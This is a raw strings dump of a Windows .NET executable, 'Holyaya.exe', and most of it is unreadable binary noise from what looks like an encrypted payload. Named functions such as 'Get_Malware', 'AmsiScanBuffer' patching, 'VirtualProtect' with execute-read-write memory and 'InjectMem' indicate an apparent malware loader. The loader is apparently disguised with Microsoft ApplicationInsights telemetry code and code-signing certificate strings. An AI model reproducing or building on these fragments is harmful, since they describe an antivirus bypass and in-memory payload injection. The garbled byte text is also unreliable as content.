!This program cannot be run in DOS mode.
`.rsrc
_dn`
_d};
_d};
Y _b`
_b};
Y _d`
die*
die*
v4.0.30319
#Strings
<>9__0_0
<Extract>b__0_0
<>c__DisplayClass0_0
<>c__DisplayClass0_1
<Extract>b__1
IEnumerable`1
List`1
CS$<>8__locals1
kdblLn2To32
UInt32
ToInt32
<Extract>b__2
Func`2
GetHigh2
Func`3
__StaticArrayInitTypeSize=128
29DFD164AC7E1F649D6A1B494EB1320B85349C08652EA97C34866D3C7EC93AF8
<Module>
<PrivateImplementationDetails>
PAGE_EXECUTE_READ
PAGE_GUARD
PAGE_NOCACHE
PAGE_WRITECOMBINE
PAGE_READWRITE
PAGE_EXECUTE_READWRITE
PAGE_EXECUTE
System.IO
PAGE_NOACCESS
Get_IV
set_IV
PAGE_READONLY
PAGE_WRITECOPY
PAGE_EXECUTE_WRITECOPY
value__
cuExtra
mscorlib
System.Collections.Generic
signSrc
LehmerGcd
MakeOdd
AesManaged
fTrimmed
Versioned
AssertValid
<Name>k__BackingField
<Params>k__BackingField
ReadToEnd
Second
DivMod
ExecuteMethod
GetMethod
source
Invoke
Enumerable
IDisposable
EnsureWritable
_fWritable
RuntimeFieldHandle
handle
FreeConsole
hModule
get_Name
set_Name
procName
MethodName
methodName
lpFileName
TypeName
CallByName
ValueType
GetType
Get_Malware
System.Core
ModDivCore
MethodBase
Dispose
EmbeddedAttribute
CompilerGeneratedAttribute
GuidAttribute
UnverifiableCodeAttribute
AttributeUsageAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
ConditionalAttribute
AssemblyFileVersionAttribute
SecurityPermissionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
RefSafetyRulesAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
ParamArrayAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
Get_AmsiOpenSession_Byte
Get_AmsiScanBuffer_Byte
Get_ComplementaryStrings_Byte
get_Size
dwSize
AmsiInitialize
Resize
System.Runtime.Versioning
cString
GetString
get_High
Fourth
TransformFinalBlock
_uSmall
kernel32.dll
Kernel32_dll
Amsi_dll
regMul
MemoryStream
InjectMem
get_Item
System
SymmetricAlgorithm
Random
ICryptoTransform
regNum
regDen
Version
AmsiOpenSession
SecurityAction
System.Reflection
pattern
MethodInfo
get_CuNonZero
CbitLowZero
regQuo
SetSizeKeep
System.Linq
SetSizeClear
StreamReader
TextReader
BigIntegerBuilder
AmsiScanBuffer
FileSplitter
.cctor
CreateDecryptor
IntPtr
System.Numerics
System.Diagnostics
NativeMethods
GetMethods
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
ReadAllBytes
GetRandomBytes
NextBytes
VPytes
ComplementaryStrings
GetCommandLineArgs
Microsoft.CodeAnalysis
get_Params
set_Params
System.Security.Permissions
Functions
RuntimeHelpers
Parameters
parameters
GetProcAddress
lpAddress
AttributeTargets
GetIntegerParts
Extract
Object
Select
lpflOldProtect
VirtualProtect
flNewProtect
get_Target
set_Target
_target
ShiftLeft
cbitShift
cuShift
ShiftRight
op_Explicit
FirstOrDefault
Environment
kcbitUint
EntryPoint
get_Count
Decrypt
Convert
_iuLast
ToList
ToPutt
SubRev
ModDiv
_rgbInv
SubBorrow
uBorrow
SubRevBorrow
ApplyBorrow
InitializeArray
ToArray
ToCharArray
Get_Key
set_Key
System.Security.Cryptography
Assembly
LoadLibrary
AddCarry
AddMulCarry
uCarry
ApplyCarry
op_Equality
System.Security
SetSizeLazy
Attribute
String
Stream
get_ProviderId
get_ProviderName
get_InstrumentationKey
Microsoft.ApplicationInsights
ITelemetry
Microsoft.ApplicationInsights.Channel
TelemetryContext
Microsoft.ApplicationInsights.DataContracts
get_PartA_iKey
get_PartA_Tags
get__B
ToString
Equals
GetHashCode
get_DeveloperMode
set_DeveloperMode
get_EndpointAddress
set_EndpointAddress
Microsoft.Diagnostics.Tracing.EventSource
EventSource
Microsoft.Diagnostics.Tracing
EventSourceOptions
ConcurrentDictionary`2
System.Collections.Concurrent
DebuggerBrowsableAttribute
DebuggerBrowsableState
<PartA_iKey>j__TPar
<PartA_Tags>j__TPar
<_B>j__TPar
ITelemetryChannel
ToLowerInvariant
Concat
EventSourceSettings
set_Keywords
EventKeywords
get_Guid
SuppressFinalize
CoreEventSource
Microsoft.ApplicationInsights.Extensibility.Implementation.Tracing
LogVerbose
IsEnabled
EventTelemetry
get_Context
EventData
Microsoft.ApplicationInsights.Extensibility.Implementation.External
ExceptionTelemetry
ExceptionData
MetricTelemetry
MetricData
PageViewTelemetry
PageViewData
RemoteDependencyTelemetry
RemoteDependencyData
RequestTelemetry
RequestData
SessionStateTelemetry
SessionStateData
get_State
SessionState
set_state
TraceTelemetry
MessageData
CultureInfo
System.Globalization
get_InvariantCulture
Format
IFormatProvider
get_Tags
IDictionary`2
System.Text.RegularExpressions
RegexOptions
Replace
<PartA_iKey>i__Field
<PartA_Tags>i__Field
<_B>i__Field
DebuggerHiddenAttribute
StringBuilder
System.Text
Append
EqualityComparer`1
get_Default
ArgumentNullException
GetOrAdd
GetEnumerator
IEnumerator`1
KeyValuePair`2
get_Current
get_Value
IEnumerator
System.Collections
MoveNext
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
SkipVerification
WrapNonExceptionThrows
Copyright
2024
$6060FC9B-855B-4DCF-868E-C6577CED78C7
1.0.0.0
.NETFramework,Version=v4.5.1
FrameworkDisplayName
.NET Framework 4.5.1
AllowMultiple
Inherited
7System.Security.Permissions.SecurityPermissionAttribute
SkipVerification
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
HzxYPio8S3qwoC6JJuNRNm4f
HzxYPio8S3qwoC6JJuNRNm4
HzxYPio8S3qwoC6JJuNRNm4e
+y6{8`
L]#))y'j
+DnEU8
1d#c!a.pd*
7mg WxA
?Dt<,j[$
~O`3DH
"ve$8W
CRGss}
,=p9+bPp
r};]aC
[(Ds<r
E.N$xc
AdFcp6
R>t&aFE
0!PqSfG
t]K&YC
V}zqnB
,:v:jbb*;
tQeC]y
9wljCr
8dY^]&
^*Y )Fn
W|\\Mg5
t")`yu+$
?Mbftc
<|aYos$
u@ *TS
83::l4
}0Li)R4
z)G&Mu8
mrB_YX
sG2]]],Fp?
ZnDwS[F.
PD]AfI
qgi#_n
}TJ+zN
]{?t@p
W1p1"i
'Fq,N?fk
8H?L;J
N*VURi[C
)VL+3}'
JtujKD
d=_IRTx
[4=\eWQA
QG4 7?VU
{ogz[=[^
!b"VDHb
Y\*eg`
L!l<J2
tx<sX{I
q@z\>[
!R[JoI
\J)c_u
|:> "]
L2Cpw9tC
hI{3"WJ
EOVrG,
dOG'P,>
rxi-`w
dB}7ZP
R7-P@j
4Bu.@(
4u2{qe~
W5v ,`p
r%BU _
JX I=QA
EAYn9
Tpc:=S5
_ys8(su
0s`z Y*_E
s7W,ny
kzdSd$
6<z(8l
W]by3I"
y?[R7%
W}Y<&G
nm<3-/
JY8H_<P
ioaX^u
|KN5X&
Xs!9*X
V mB5e
E,u.%9"
A.00lgF
:G-Yd-R\
[\{@4|
uBP3V;
:!2huv
xY?$,L
&-Q!@(6
PHlb~e8
+#]>a%R
Z#T1?'
a6)q7"
,9L?!1
2$=DUY
^nFpF>
Xn`]MI
a=\,V0#
iz0`}C
)((-y/
y%_ED^
K-}YC{G
SaR`(J
\:%p3z
; 0B+i
teT8G]7q
/}ymTB H!
'PbCF_
U{6%}h
ChZd@M
WA%-v2
N @7.
@r@dqMr
F]BbqeaO
hA&c/~r
= 23p@>
(:q\KmA
qG/pfyS(m
S5g'EW
)7T'Xw
nq.1F2
R_R7Hvu
Mq+gU0
=wniHR
g"@;aC
ZM/%QOH0
$XX;n[zD
P,<7HI|(
M_=D&+
~[gj;U
u$pH\s
_J9suyh
94ET_#Bl
[[CT,v'
J\E|Pl
Ih>`GkniO
/[t4eB
avA"04
aAadjCE
-wy5.~
?}LUceI3C
:f6mC)
xh@WQI8
._)t$U?
}%V~2|
7<^Z?P
8,;.Db
D=6zJh
<F\'\&
EoioDG
*n:2dy
CgYs,(
y<3&veG
zE.;_I
bxe%9R
y6rT`F
Xmg1u{
oVj>R*
-BD.E?B
zVhn27
Z*M^6Z
]fU8U3
[{iBQR
Ioq8yj
b|5bNa
-W'&n+
_cgdK)
d5H;PN
1(;#EX
}nVfZk
IMzX.G4
=aBq\f1
D<OI.VV
Po%LUP
gR}K$q
7i]S-]
85JqO VQxl
^?;>HO
by/tHm
p3}sBJp
B1ssNXzY=
m'Z7Vk
U=yedv
|jBb[l_
?7xhN#
x3DV^_
r<vl)X
k=cx.5
{"(BWR
$37(y1
wdUhLv
r/U}[*
r~*]oa
(A~uYOF
"V6O$2
M<#$<|
''`R,/M
(#:!T-giN
&)7rW`i
c/: elu
toDegN
I`DrJQH
vgoO2{
fv<xlq
NDF>iw
d\D5[J
wr B.]
m e~RwX
M^S~AH
lr P@#
L1O'xM
"Y?@MU
J3MxGj
>;E{Rs
{LF';0
Alb,zD
tU\F`yfTd
&(C-"m
EPPEotR
JPkz9v
WK{LO$
yI:!r8|&E
'yBDv1
k!z9Dy
PgAq7_
Gh,hl}
<2:A_?Y51
{dq}m<d
BRXs%9s(
)&AF-w
S|t>j|
)xz]])
iaZTa>
, <<]X
W6Ziv*S
`M|7i`
:5`HuZrL
L*|(!}
q_PjiI
i;)V#{
^8`-ftui
\B&Kia
cv|%m i
f#u28l
J43TaD
-#1|80*
I+R q !
lF+Q`Z
BZ"5h+^
zVuV-{J
7J+Z~{
52FrrE
x>:->U
z3)ETk!,
rFd\,
@Dql)-
a,dJTa
NE4d1q
$no-"$
v8XZ0;a
MGW/lI_e
Vu1LLL
M`<>?_
]MGjFu
Uw/B;.<
^< Nt=l
2VWHX
3]H5w)u:
@-RBuZ!{
(#okZ1
l\Q3{qH
:~D2Y*
o-EA>G
4*AzSd
*-gueF
KUjEsF
9iIqsT
f:=sL)
&r{W&a
b2EIZ9
0Ej .t!
d/PJp_
q#BY]P
bd/7?F
oMm:rNJN
HYq!n%
:\>EHq
bS;l}x
K[X6 :i
@Tst2H
;k '4j
pzSX(5
pRi7!(
U"[I<W
lp~[L-
O?op_Xc
/jrc#1
/[Thn[
[%|m83
SS/A0z
`Qn,%BzcU
f~ 4?:
^[%=^~
6(&3y^
qul:f]
juvrEUy
#g8p*R
-lG2kg
W&/TjJ
t*TXzg
\O_vq0
kj!Ps'hem
c40&e<
+7e,Je
]4}|P?
x|X k`
uPG2Fu
1=cEwL
~cy3Atx
=b>;E0ir
EpC2 b
X22n3Nss
:_LuVn
\<+|q'
6@`&74/
%hc9zD
hKIH=m
pny -
$]wTm.
T#O;%`
: 0M}"@
}7khWT
<0@Dw6x
:78XvE5k4
}u0wAe
AO7t^l
a)mWph-
wd^tj\F
|[,uVpGn "
9WJVYo
}8zDnn
C%%d>z
\;QE?S
+n!"/j
|OSD55A
|f2w{T
JtOWXg
|'mNX"
e}6x8_
0R@]p9
4n"K1KN
iHh%Umj8
qmZ;N>
9nD@(>1
tV@;'o
wD8K;6
8{Kz B9(
$=}F D
v,K|R
if{^a*
)q- NN
P$iO_w
weya+JUU
OKL(RM
u!=nn8
^ZHV=v&
M5F,-\aq
,e`vFy<cb
2:|jX?
]016~7~
;J!`8h2
vUR~b=
0%1774
/jRso;
qho:fy|T:e
[2VHI7
dX?XcP
0,*cpe
z<:%B|Ika
nyu7*:9d
2@nB9*
k`/~KF
]1^;z(
h=[ X{
{HS7R5
N<f3O\R
"FM"j]
pO27bhe
'U& )!"O
wNJ'6F
NO):%c
jA]#l5
vIbdY-
D}g;%LP
sSt>H*
FAWm2L
CBW1{{
0hZNNEk
sq:c*`
IJa0.}
@MR9In
6<fm"l
ce.^K)
^DPc:K
\H{2H&
]{~-$1
Xs,gN[
N6:A8j\
&?KH5N
tIbkS.
,~EpLUW
lj;phI
&8{myg
KC-rV"
uz?/r>6
5csk8y2
x2mWR
*xAvz6
l"s6l^
/^OdX L
2s=%)l
`VpRGLen
k~m["Y
7@,HeV
i`WqUB
dI:rN5
Q?tX.#
A_[;3j9D
tw4}hmE
I>k3k&
cR#5q[O
{Vj~}B8
?i36QH
6TDb }
WCVL@
[a0U>4
R>P2hg
(lA"~
dZ/ u^
B ~Ivo2
{x4fBn|G
/#eE\_!
NQx5DEgtqQj
C m]u}
[7+1*#
`%I"[T
$:G,;A
*JM\/)
1!&"qR
4!5`x!
bEl]Xp
sjX_fZ
TL1u2`
fAJ76#
JWTqcO"ny
M}/7f4
}J/l):
W$4b>8CP
+5c>p!
:V" LE
6f XFNCde
90_fBR<
l+(GTbV
odoZh,
i-d)~)
:J^(,'
#h3y|B
jybUH<Nx
TY^!&D
.>qbK/!
Wi#QV`&5
g_$hmk
Nt{jZr/Ad
6?oyEf
)*C@-P
1M`g@CKi
o'e*R<k
llU{;T
k0WK8&
*GAv[}K
nKii\3g;
9_ "5b
x"RzL
{VV1iO
7^wyq0
ehr=cI
Z1,!N6[
WQD>].
5H/bKn]
@Kyzwie\
!aRv3S
r8 w^{O
KC;1Dj
|g"l{.7k
jF(KD*
^nJ.Xb
j&tviRh
)LHDqV^
$CcS=
"+Gv<H
)!PS2!
H4m)~Z
#0~+Sd
t6;yd6
e`?Ip3
B2#KhJ-O
)2ow. SA
!r!Q51
J4[IVs
~7Q=7^
s]{xr7g
7jHZu!
h7]hcE
/7?VWN|%
Kbn4HX;=s
<z_n1<
g':}zm
&=m8i@O
z]zEqE
gR*+1p[
u#Kto8
+DjPpuMg
#Idir)
XvgHr{D
2|;Vd\
y0F]E7
;)qmIu
{{PD/@+
OXxVjq+
A{sZ3j
YWHNH}2
49 k~1
E; AGt
8|`XT;
(;fOM2
CMLQ,YH
j./,rJ
/ p $T
>EA.oa
8>fvHs
"nbxA$@l
s!,w*@
hxkTGN
PoYs"7
pK@a$0
Fm:g"|
5!5!ZmU
RE1C5o<y
a;ZXFm
BPBH]JO
V1`?Q[
_BRS?+
`g"IsF
j>>aIT'
2G,$X,
|K(qZ /@
,h+W`2
]F*U_+
b0E`bh
fbqcKS
#+C%#
\E2Nvb
Rk6=3-
` '3mY
!hF_r!
l[&=c,
{Fp r]
AhUm3b/
'i^a'R
h}^UtHP;
Z.4p.Rh(
'id0|}e
;0+<Gw
(f*jKv
!fY6Nw
/a9~*)E
SQn0'm
]H{^l2
rX;=+r
* ~;A~
0omMm-n%
gVw&Qx
.t7Mhg3
Z>j;1&
t(]'gG
=^VK~A
(V0%TS
tM4K3A
;R E}
1WsqC]
F/=V}q%Jz
{d_Y3s
C5XyYy
m1's>]<
mYY/T>
N_YG5{
F2/G.:
xtyWE[
7(o.f_
A[ M^K
a}bMpq
K#v/to7W
j);9oA^
ogG<aym
(L$|^bQ
2KZ48B
i\L1I`
~_7PMT
~T.MR!
HC."_$
;"*}W'
"gDm:.
I+QoOT
${m"37
l Ag!3m,
x$q7gl
.7/DiZ
5RX%hB
eRHvM/y%
j06X%[
8P?5(D
c(7;u7
zYd$"A%
D1R#'0
LU^+%5f
E3)6.|$
*hz}wg
HzxYPio8S3qwoC6JJuNRNm4
HzxYPio8S3qwoC6JJuNRNm4
nHzxYPio8S3qwoC6JJuNRNm4
HzxYPio8S3qwoC6JJuNRNm4PAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXXPAPADDINGXX
Microsoft Code Signing PCA 20111
Microsoft Corporation1
Microsoft Corporation1
Redmond1
Washington1
240816115748Z
250816115748Z0
Microsoft Code Signing PCA 20111
Microsoft Corporation1
Microsoft Corporation1
Redmond1
Washington1
Microsoft Code Signing PCA 20111
Microsoft Corporation1
Microsoft Corporation1
Redmond1
Washington1
20240816115748Z
Manchester1
Sectigo Limited100.
'Sectigo Public Time Stamping Signer R35
Sectigo Limited1,0*
#Sectigo Public Time Stamping CA R360
240115000000Z
350414235959Z0n1
Manchester1
Sectigo Limited100.
'Sectigo Public Time Stamping Signer R350
x2<C>4C
https://sectigo.com/CPS0
9http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
9http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
http://ocsp.sectigo.com0
% 2Ka~
Sectigo Limited1.0,
%Sectigo Public Time Stamping Root R460
210322000000Z
360321235959Z0U1
Sectigo Limited1,0*
#Sectigo Public Time Stamping CA R360
;http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0|
;http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
http://ocsp.sectigo.com0
%59)$J+
G{JVHa
New Jersey1
Jersey City1
The USERTRUST Network1.0,
%USERTrust RSA Certification Authority0
210322000000Z
380118235959Z0W1
Sectigo Limited1.0,
%Sectigo Public Time Stamping Root R460
8hm)(od
?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl05
http://ocsp.usertrust.com0
avI&Q_
.TPfo:
Sectigo Limited1,0*
#Sectigo Public Time Stamping CA R36
240816115748Z0?
Sectigo Limited1.0,
%Sectigo Public Time Stamping Root R46
New Jersey1
Jersey City1
The USERTRUST Network1.0,
%USERTrust RSA Certification Authority
=yKM0-
$file_splitter$
HzxYPio8S3qwoC6JJuNRNm4
Microsoft.ApplicationInsights.Dev.
{ba84f32b-8af2-5006-f147-5030cdd7f22d}
Microsoft.ApplicationInsights.
{0d943590-b235-5bdb-f854-89520f32fc0b}
ETW_GROUP
telemetryItem param is null in EventSourceWriter.WriteTelemetry()
Incorrect
Exception
Metric
PageView
RemoteDependency
Request
SessionState
Message
Unknown telemtry type: {0}
(?:[^a-z0-9.])
{ PartA_iKey =
, PartA_Tags =
, _B =
Microsoft-Windows-UTC-Presence
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
Holyaya
FileVersion
1.0.0.0
InternalName
Holyaya.exe
LegalCopyright
Copyright
2024
LegalTrademarks
OriginalFilename
Holyaya.exe
ProductName
Holyaya
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0